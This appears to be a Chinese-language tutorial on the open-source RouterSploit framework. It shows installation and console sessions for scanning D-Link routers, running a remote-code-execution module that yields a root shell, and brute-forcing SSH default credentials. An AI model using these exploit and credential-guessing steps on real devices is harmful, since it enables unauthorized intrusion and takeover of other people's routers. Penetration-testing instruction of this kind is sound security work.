RouterSploit路由器漏洞檢測(cè)及利用框架
RouteSploit框架是一款開源的漏洞檢測(cè)及利用框架，其針對(duì)的對(duì)象主要為路由器等嵌入式設(shè)備。
框架功能
RouteSploit框架主要由可用于滲透測(cè)試的多個(gè)功能模塊組件組成，
1、 Scanners：模塊功能主要為檢查目標(biāo)設(shè)備是否存在可利用的安全漏洞；
2、Creds：模塊功能主要針對(duì)網(wǎng)絡(luò)服務(wù)的登錄認(rèn)證口令進(jìn)行檢測(cè)；
3、Exploits：模塊功能主要為識(shí)別到目標(biāo)設(shè)備安全漏洞之后，對(duì)漏洞進(jìn)行利用，實(shí)現(xiàn)提權(quán)等目的。
工具安裝
sudo apt-get install python-requests python-paramiko python-netsnmpgit clone https://github.com/reverse-shell/routersploit ./rsf.py
GitHub地址如上命令中所述為：RouteSploit。
操作使用
首先，啟動(dòng)RouteSploit框架，具體如下所示
root@kalidev:~/git/routersploit# ./rsf.py ______ _ _____ _ _ _ | ___ \ | | / ___| | | (_) | | |_/ /___ _ _| |_ ___ _ __\ `--. _ __ | | ___ _| |_ | // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __| | |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_ \_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__| | | Router Exploitation Framework |_| Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz) Codename : Wildest Dreams version : 1.0.0 rsf >
1、Scanners 模塊
scanners模塊，具備設(shè)備漏洞掃描功能，通過(guò)該模塊，可快速識(shí)別目標(biāo)設(shè)備是否存在可利用的安全漏洞，下面會(huì)以一個(gè)dlink路由器為例，結(jié)合進(jìn)行操作描述。
（1）選擇scanners模塊，操作如下，
rsf > use scanners/dlink_scan rsf (D-Link Scanner) > show options
（2）顯示選項(xiàng)
Target options: Name Current settings Description ---- ---------------- ----------- target Target address e.g. http://192.168.1.1 port 80 Target port
（3）設(shè)置目標(biāo)設(shè)備IP
rsf (D-Link Scanner) > set target 192.168.1.1
[+] {'target': '192.168.1.1'}
（4）運(yùn)行模塊，執(zhí)行情況如下，
rsf (D-Link Scanner) > run [+] exploits/dlink/dwr_932_info_disclosure is vulnerable [-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable [-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable [-] exploits/dlink/dns_320l_327l_rce is not vulnerable [-] exploits/dlink/dir_645_password_disclosure is not vulnerable [-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable [-] exploits/dlink/dir_300_600_rce is not vulnerable [+] Device is vulnerable! - exploits/dlink/dwr_932_info_disclosure
如上所呈現(xiàn)的結(jié)果，目標(biāo)設(shè)備存在dwr_932_info_disclosure漏洞。接下來(lái)，我們選擇合適的payload進(jìn)行傳遞和測(cè)試（以下涉及exploits模塊功能操作，如需，請(qǐng)?jiān)偻虏殚?/span>），
2、Exploits 模塊
（1）選擇Exploits模塊，操作如下，
rsf > use exploits/ exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/ rsf > use exploits/dlink/dir_300_600_rce rsf (D-LINK DIR-300 & DIR-600 RCE) >
我們也可以使用“tab”鍵來(lái)自動(dòng)補(bǔ)充輸入命令。
（2）顯示選項(xiàng)
rsf (D-LINK DIR-300 & DIR-600 RCE) > show options Target options: Name Current settings Description ---- ---------------- ----------- target Target address e.g. http://192.168.1.1 port 80 Target Port
設(shè)置選項(xiàng)，操作如下，
rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1
[+] {'target': 'http://192.168.1.1'}
（3）運(yùn)行模塊
通過(guò)使用“run”或“exploit”命令來(lái)完成漏洞的利用，
rsf (D-LINK DIR-300 & DIR-600 RCE) > run [+] Target is vulnerable [*] Invoking command loop... cmd > whoami root
也可檢測(cè)目標(biāo)設(shè)備是否存在選定的安全漏洞，操作如下，
rsf (D-LINK DIR-300 & DIR-600 RCE) > check [+] Target is vulnerable
（4）顯示具體漏洞信息
通過(guò)“show info”命令，顯示漏洞信息，包括其存在的設(shè)備品牌、型號(hào)、漏洞類型及參考來(lái)源，具體參考如下，
rsf (D-LINK DIR-300 & DIR-600 RCE) > show info Name: D-LINK DIR-300 & DIR-600 RCE Description: Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges. Targets: - D-Link DIR 300 - D-Link DIR 600 Authors: - Michael Messner <devnull[at]s3cur1ty.de> # vulnerability discovery - Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module References: - http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router - http://www.s3cur1ty.de/home-Network-horror-days - http://www.s3cur1ty.de/m1adv2013-003
3、 Creds模塊
（1）選擇模塊
此模塊相關(guān)文件位于 /routesploit/modules/creds/ 目錄下，以下為該模塊支持檢測(cè)的服務(wù)，
? ftp
? ssh
? telnet
? http basic auth
? http form auth
? snmp
在檢測(cè)過(guò)程中，可通過(guò)兩個(gè)層面對(duì)上述的每個(gè)服務(wù)進(jìn)行檢測(cè)，
默認(rèn)服務(wù)登錄口令檢測(cè)：利用框架提供的各類路由等設(shè)備以及服務(wù)的默認(rèn)登錄口令字典，通過(guò)快速列舉的方式，可在較短時(shí)間內(nèi)（幾秒鐘）驗(yàn)證設(shè)備是否仍使用默認(rèn)登錄口令；
暴力破解：利用框架中所提供的特定賬戶或者賬戶列表進(jìn)行字典攻擊。其中包含兩個(gè)參數(shù)（登錄賬戶及密碼），如框架/routesploit/wordlists目錄中字典所示，參數(shù)值可以為一個(gè)單詞（如’admin’），或者是一整個(gè)單詞列表。
（2）控制臺(tái)
rsf > use creds/ creds/ftp_bruteforce creds/http_basic_bruteforce creds/http_form_bruteforce creds/snmp_bruteforce creds/ssh_default creds/telnet_default creds/ftp_default creds/http_basic_default creds/http_form_default creds/ssh_bruteforce creds/telnet_bruteforce rsf > use creds/ssh_default rsf (SSH Default Creds) >
（3）顯示選項(xiàng)
（4）設(shè)置目標(biāo)設(shè)備IP
rsf (SSH Default Creds) > set target 192.168.1.53
[+] {'target': '192.168.1.53'}
（5）運(yùn)行模塊
rsf (SSH Default Creds) > run [*] Running module... [*] worker-0 process is starting... [*] worker-1 process is starting... [*] worker-2 process is starting... [*] worker-3 process is starting... [*] worker-4 process is starting... [*] worker-5 process is starting... [*] worker-6 process is starting... [*] worker-7 process is starting... [-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000' [-] worker-1 Authentication failed. Username: '1234' Password: '1234' [-] worker-0 Authentication failed. Username: '1111' Password: '1111' [-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP' [-] worker-3 Authentication failed. Username: '266344' Password: '266344' [-] worker-2 Authentication failed. Username: '1502' Password: '1502' (..) Elapsed time: 38.9181981087 seconds [+] Credentials found! Login Password ----- -------- admin 1234 rsf (SSH Default Creds) >
介紹內(nèi)容來(lái)自 FreeBuf黑客與極客